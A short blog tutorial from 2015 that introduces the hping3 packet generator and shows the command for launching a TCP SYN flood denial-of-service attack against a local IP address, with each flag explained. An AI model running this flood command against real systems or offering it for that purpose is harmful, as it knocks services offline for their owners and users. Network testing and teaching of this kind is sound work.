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TCP SYN flood DOS attack with hping3

18/09/2015 Comments off

Hping

Wikipedia defines hping as :

hping is a free packet generator and analyzer for the TCP/IP protocol distributed by Salvatore Sanfilippo (also known as Antirez). Hping is one of the de facto tools for security auditing and testing of firewalls and networks, and was used to exploit the idle scan scanning technique (also invented by the hping author), and now implemented in the Nmap Security Scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in very short time.

On ubuntu hping can be installed from synaptic manager.

$ sudo apt-get install hping3

Syn flood

To send syn packets use the following command at terminal

$ sudo hping3 -i u1 -S -p 80 192.168.1.1

The above command would send TCP SYN packets to 192.168.1.1
sudo is necessary since the hping3 create raw packets for the task , for raw sockets/packets root privilege is necessary on Linux.

S – indicates SYN flag
p 80 – Target port 80
i u1 – Wait for 1 micro second between each packet

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